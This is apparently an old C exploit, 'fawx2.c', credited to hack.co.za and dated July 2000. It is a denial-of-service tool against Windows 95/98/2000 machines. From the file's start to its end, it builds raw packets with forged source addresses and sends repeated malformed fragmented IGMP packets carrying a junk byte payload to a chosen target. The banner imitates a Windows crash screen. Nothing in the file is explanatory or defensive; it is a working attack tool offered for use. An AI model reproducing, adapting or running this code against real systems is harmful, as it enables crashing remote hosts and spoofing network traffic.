/* fawx2.c -- very interesting results on win00/98/95 boxen..         
   based on fawx.c by ben-z, and koc.c by klepto/defile
   modifications by: heeb[@slacknet.org] || www.slacknet.org
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/igmp.h>

void banner(void) {
printf("[0m[2J[1;1H[0;25;34;44mллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл[0m\n");
printf("[34;44mллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл[0m\n");
printf("[34;44mлллллллллллллллллллллллллл[47mfawx2.c[44mлллллллллллллллллллллллллллллл[0m\n");
printf("[34;44mлл[1;37mA fatal exception OE has occured at FOAD:42494C4[0;34;44mллллллллллллл[0m\n");
printf("[34;44mлл[1;37mthe current application will be terminated.[0;34;44mлллллллллллллллллл[0m\n");
printf("[34;44mллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл[0m\n");
printf("[34;44mлл[1;37m* Press any key to terminate the current application.[0;34;44mлллллллл[0m\n");
printf("[34;44mлл[1;37m* Press CTRL+ALT+DELETE again to restart your computer.[0;34;44mлллллл[0m\n");
printf("[34;44mлллл[1;37mYou will lose any unsaved information in all applications.[0;34;44mл[0m\n");
printf("[34;44mллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл[0m\n");
printf("[34;44mлллллллллллллллллл[1;37mPress any key to continue.[0;34;44mллллллллллллллллллл[0m\n");
printf("[34;44mллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл[0m\n\n");
}

unsigned int port = 139;
char junk[] =
    "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
    "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x80\xe8\xdc\xff\xff\xff"
    "\x20\x3f\x5e\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
    "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
    "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x80\xe8\xdc\xff\xff\xff"
    "\x20\x3f\x5e\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
    "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
    "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x80\xe8\xdc\xff\xff\xff"
    "\x20\x3f\x5e\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
    "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
    "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x80\xe8\xdc\xff\xff\xff"
    "\x20\x3f\x5e\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
    "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
    "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x80\xe8\xdc\xff\xff\xff"
    "\x20\x3f\x5e\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
    "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
    "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x80\xe8\xdc\xff\xff\xff"
    "\x20\x3f\x5e\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
    "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
    "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x80\xe8\xdc\xff\xff\xff"
    "\x20\x3f\x5e\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
    "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
    "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x80\xe8\xdc\xff\xff\xff"
    "\x20\x3f\x5e\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd";

void usage(const char *progname) {

     printf("[**] syntax: %s <spoof host> <target host> <number>\n",progname);

}

int resolve( const char *name, unsigned int port, struct sockaddr_in *addr ) {

   struct hostent *host;
   port = 139;
   memset(addr,0,sizeof(struct sockaddr_in));

   addr->sin_family = AF_INET;
   addr->sin_addr.s_addr = inet_addr(name);

   if (addr->sin_addr.s_addr == -1) {
      if (( host = gethostbyname(name) ) == NULL )  {
         fprintf(stderr,"\nuhm.. %s doesnt exist :P\n",name);
         return(-1);
      }
      addr->sin_family = host->h_addrtype;
      memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
   }

   addr->sin_port = htons(port);
   return(0);

}

unsigned short in_cksum(addr, len)
    u_short *addr;
    int len;
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;
 
    while (nleft > 1)  {
        sum += *w++;
        nleft -= 2;
    }
 
    if (nleft == 1) {
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
    }
 
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);         
    answer = ~sum;              
    return(answer);
}

int send_fawx(int socket,
                 unsigned long spoof_addr,
                 struct sockaddr_in *dest_addr) {

   unsigned char  *packet;
   struct iphdr   *ip;
   struct igmphdr *igmp;
   int rc;
        
   packet = (unsigned char *)malloc(sizeof(struct iphdr) + strlen(junk) + sizeof(struct igmphdr) + 1500);
   strcat(packet, junk);
   ip = (struct iphdr *)packet;
   igmp = (struct igmphdr *)(packet + sizeof(struct iphdr));

   memset(ip,0,sizeof(struct iphdr) + strlen(junk) + sizeof(struct igmphdr) + 1500);
   
   ip->ihl      = 5;
   ip->version  = 4;
   ip->id       = htons(27565);
   ip->frag_off |= htons(0x2000);
   ip->ttl      = 255;
   ip->protocol = IPPROTO_IGMP;
   ip->saddr    = spoof_addr;
   ip->daddr    = dest_addr->sin_addr.s_addr;
   ip->check    = in_cksum(ip, sizeof(struct iphdr));


   igmp->type              = 2;
   igmp->code              = 31;

   if (sendto(socket,
              packet,
              sizeof(struct iphdr) + strlen(junk) +
              sizeof(struct igmphdr) + 2,0,
              (struct sockaddr *)dest_addr,
              sizeof(struct sockaddr)) == -1) { return(-1); }
   

   ip->tot_len  = htons(sizeof(struct iphdr) + strlen(junk) + sizeof(struct igmphdr) + 1500);
   ip->frag_off = htons(8 >> 3);
   ip->frag_off |= htons(0x2001);
   ip->check    = in_cksum(ip, sizeof(struct iphdr));

   igmp->type = 2;
   igmp->code = 31;

   if (sendto(socket,
              packet,
              sizeof(struct iphdr) + strlen(junk) +
              sizeof(struct igmphdr) + 2,0,
              (struct sockaddr *)dest_addr,
              sizeof(struct sockaddr)) == -1) { return(-1); }

   free(packet);
 /*  printf(".");  <- it looked way too ugly :P */
   return(0);

}

int main(int argc, char * *argv) {

   struct sockaddr_in dest_addr;
   unsigned int i,sock;
   unsigned long src_addr;

   banner();
   if ((argc != 4)) {
      usage(argv[0]);
      return(-1);
   }
   
   if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { 
      fprintf(stderr,"error opening raw socket. <got root?>\n");
      return(-1);
   }
   
   if (resolve(argv[1],0,&dest_addr) == -1) { return(-1); }
   src_addr = dest_addr.sin_addr.s_addr;

   if (resolve(argv[2],0,&dest_addr) == -1) { return(-1); }

   printf("[**] sending igmp-2/31+frag attacks to: %s.",argv[2]);
   for (i = 0;i < atoi(argv[3]);i++) {
      if (send_fawx(sock,
                       src_addr,
                       &dest_addr) == -1) {
         fprintf(stderr,"error sending packet. <got root?>\n");
         return(-1);
      }
      usleep(10000);
    }
  printf(" *eof*\n");
}
/*                    www.hack.co.za           [26 July 2000]*/